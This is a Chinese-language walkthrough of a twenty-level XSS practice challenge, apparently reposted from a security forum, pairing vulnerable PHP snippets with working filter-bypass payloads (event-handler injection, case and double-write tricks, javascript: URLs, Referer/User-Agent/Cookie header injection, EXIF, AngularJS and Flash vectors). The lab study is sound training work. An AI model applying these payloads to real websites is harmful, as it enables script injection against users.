xss挑战之旅
2023-1-23 15:19:34 Author: xz.aliyun.com(查看原文) 阅读量:30 收藏

level1

url:http://xss-ctf.xiejiahe.com/level1?name=test

关键代码分析

ini_set("display_errors", 0);

$str = $_GET["name"];

echo "<h2 align=center>欢迎用户".$str."</h2>";

输入test<,可以看到没有任何过滤

通过url进行控制,常用payload

<script>alert('xss')</script>                                                                             
<svg/onload=alert('xss')>

<script>prompt('xss')</script>

<script>confirm('xss')</script>

level2

url:http://xss-ctf.xiejiahe.com/level2?keyword=test

关键代码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />

使用GET方法,从url中接受一个keyword搜索参数,此处用到了一个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为HTML实体

本题是搜索型xss

输入常见的payload:<script>alert('xss')</script>

没有弹窗,审查元素可以看到的输入的XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签才可以正常弹窗

输入框构造常用payload:

" onmouseover=alert(/xss/)>click

当鼠标移动到搜索框就会触发弹窗

审查元素,可以看到我们的输入变成了

"><script>alert(/xss/)</script>

"><script>confirm(/xss/)</script>

"><script>prompt(/xss/)</script>

其它payload:

其它payload:
" onchange=alert`document.domain` //  要在输入框里再次输入参数,并按下空格,才会弹窗
" oninput=alert`document.domain` // 要在输入框里再次输入参数
" onfocus=alert(document.domain) autofocus;// 要再次单击搜索框

level3

url:http://xss-ctf.xiejiahe.com/level3?keyword=wait

关键源代码分析

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />

发现过滤了 < 和 >使用的str_replace函数,需要用 " 闭合value标签。注意:str_replace函数是区分大小写的,str_ireplace函数不区分大小写,所以有时候我们还可以利用大小写绕过。

构造payload:

' onclick=alert(/xss/)//

输入payload后,单击搜索框,就会触发弹窗

审查元素发现我们的输入变成了

' onmouseover=alert('xss')//   当鼠标移动到搜索框触发弹窗
' oninput=alert`xss` //    
' oninput=alert`xss` '   要在输入框内再次输入参数触发弹窗
' onchange=alert`xss` //
' onchange=alert`xss` '   要在输入框里再次输入参数,并按下空格,才会弹窗

level4

url:http://xss-ctf.xiejiahe.com/level4?keyword=try%20harder!

关键源码分析

可以看到,传入进去的值经过了两个函数的参与,str_replace(">","",$str),此函数是将变量str中的字符>转换为空,转换时区分大小写;同样也把<转换为空,然后再经过函数的过滤转化,这时要在没有符号“<>”,的情况下构造语句,并且不被htmlspecialchars()函数影响。所以这里可以构造一个输入到文本框后出现相应的事件。

构造payload:

" onfocus=alert(xss) autofocus="

onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。

autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。

焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。

其它payload:

" onmouseover=alert('xss')   当鼠标移动到搜索框触发弹窗
" oninput=alert`xss`  要在输入框内再次输入参数触发弹窗
" onchange=alert`xss`//
" onchange=alert`xss` '   要在输入框里再次输入参数,并按下空格,才会弹窗

level5

url:http://xss-ctf.xiejiahe.com/level5?keyword=find%20a%20way%20out!

关键代码分析

看一下源代码,str2=strreplace("<script","<scr_ipt",str),str3=strreplace("on","o_n",str2)是把<script转换为<scr_ipt,on转换成o_n,这样就过滤了js事件,过滤了script标签和on标签,str=strtolower(_GET[''keyword"]);大小写绕过也会失效,不过这次没有过滤尖括号><,没过滤a标签,可以使用伪协议来构造payload:

"><iframe src=javascript:alert(/xss/)>

"> <a href="javascript:%61lert(5)">click me !!!</a>

点击click me,成功弹窗

"><a href=" javascript:alert(/xss/)"

点击payload的长度为36,触发弹窗

level6

url:http://xss-ctf.xiejiahe.com/level6?keyword=break%20it%20out!

关键源码分析

由于是用str_replace函数来过滤的,这一关没有对大小写的限制,所以我们可以通过大小写变换来绕过。

构造payload:

"> <SCRIpt>alert(/xss/)</SCriPT>

"> <img Src=a ONerrOR=alert(/xss/)>

"> <a HrEf="javascript:alert(/xss/)">click me!!!</a> 还要点击click me

审查元素

" ONclick=alert(/xss/) //还要点击输入框

"><svg x="" ONclick=alert(/xss/)> 点击这个区域才会触发弹窗

level7

url:http://xss-ctf.xiejiahe.com/level7?keyword=move%20up!

关键源码分析

审查代码,我们可以发现script,on,src,data,href都被转换成空了,大小写也不能用了,所以本题我们可以尝试双写绕过。

构造 payload:

" oonnclick=alert(/xss/)// 点击搜索框,触发弹窗

" oonnmouseover=alert(/xss/)// 鼠标移动到输入框出触发弹窗

" oonninput=alert(/xss/) " 要在输入框内再次输入参数,才会触发弹窗

level8

url:http://xss-ctf.xiejiahe.com/level8?

关键代码分析

通过审查源代码我们可以发现,"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'&quot',大小写过滤并被编码,尖括号><,单引号',%,#,&符号没有被过滤,输出点在a标签内,href属性中,属性里的双引号被转换成HTML实体,无法截断属性,这里可以使用伪协议绕过javascript:alert,javascript:伪协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行,由于script关键字被过滤,javascript会被替换成javasc_ript,使用&#x72来代替r,伪协议后面可以使用URL编码进行编码。

Payload:

javascript:%61lert(/XSS/)
javascript:%61lert`/xss/`
javascript:alert`/xss/`

审查元素

点击友情链接

level9

url:http://xss-ctf.xiejiahe.com/level9?keyword=not%20bad!

关键代码分析

通过审查源码发现"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'&quot',和上一关差不多,不同的是多了自动检测URL,如果发现没有带http://内容则会显示为不合法。

构造payload:

javascript:alert(1)//http://

javascript:%0dhttp://%0dalert(/xss/)

审查元素

点击友情链接

level10

url:http://xss-ctf.xiejiahe.com/level10?keyword=well%20done!

关键代码分析

通过审查源码发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,或许可以从隐藏的输入框下手,构造payload。

payload:

keyword=test&t_sort="type="text" onclick="alert(/xss/)

审查元素

keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)
keyword=test&t_sort=" type="text"onmouseover=alert`/xss/` "
keyword=well done!&t_sort=" type="text" onclick="alert(/xss/)

level11

url:http://xss-ctf.xiejiahe.com/level11?keyword=good%20job!

关键代码分析

通过审查源码发现和上一关相似,多了一个str11=$_SERVER['HTTP_REFERER'];验证的是http头部的xss注入,使用burp抓包,修改相应的字段,构造http头部referer的payload。

头部本身没有Referer,自行添加了,

payload:Referer:" onmouseover=alert(/xss/) type="text"
Referer:" onclick="alert(/xss/)" type="text

鼠标移动到搜索框触发弹窗

审查元素

level12

url:http://xss-ctf.xiejiahe.com/level12?keyword=good%20job!

关键代码分析

通过审查源码发现,str11=_SERVER['HTTP_USER_AGENT'];应该是User-Agent的http头部注入,burp抓包,构造头部User-Agent的payload。

User-Agent:" onmouseover=alert(/xss/) type="text"

User-Agent:" onclick="alert(/xss/)" type="text

鼠标移动到搜索框触发弹窗

审查元素

level13

url:http://xss-ctf.xiejiahe.com/level13?keyword=good%20job!

关键代码分析

通过审查源码发现,这次是cookie类型的xss注入,setcookie("user", "call me maybe?", time()+3600);

构造payload:

Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"

Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)

鼠标点击搜索框触发弹窗

审查元素

level14

url:http://47.94.9.224:84/level14.php

查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:

exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg

查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的

漏洞,上传一个含有xss代码的图片触发xss。

exif xss

level15

这里用了angularjs的ng-include,直接在包含的页面里用<script>触发不了,ng-include相当于php的include函数,然后src参数被转义了,最终我们

可以include leve1然后再用img标签传xss。

遵循SOP,只好调用第一关代码。

需要单引号包裹,否则变成注释。

paload:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

<element ng-include="filename" onload="expression" autoscroll="expression" ></element>

<ng-include autoscroll="expression" onload="expression" src="filename"></ng-include></ng-include></ng-include>

<body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>

level16

url:http://47.94.9.224:84/level16.php

关键代码分析

通过审查源码发现大小写绕过失效,script、/、,等都被转换成&nbsp,这时,可以尝试使用%0a,%0d来进行绕过。

构造语句:

keyword=<img%0dsrc=a%0donerror=alert(1)>
keyword=<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>

keyword=<svg%0aonload=alert`/xss/`></svg>

level17

url:http://47.94.9.224:84/level17.php?arg01=a&arg02=b

测试语句:

arg01=a&arg02=%20onmouseover=alert`1`

审查元素

level18

url:http://47.94.9.224:84/level18.php?arg01=a&arg02=b

和上一关一样。

测试语句:

arg01=a&arg02=%20onmouseover=alert`1`

level19

url:http://47.94.9.224:84/level19.php?

flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数

然后追踪到sIFR的内容

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数

所以我们可以构造<a > </a>标签来传值

构造payload:

arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

点击xss即可触发弹窗

level20

url:http://47.94.9.224:84/level20.php?arg01=a&arg02=b

这题是zeroclipboard.swf的xss,构造payload

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


文章来源: https://xz.aliyun.com/t/12062
如有侵权请联系:admin#unsafe.sh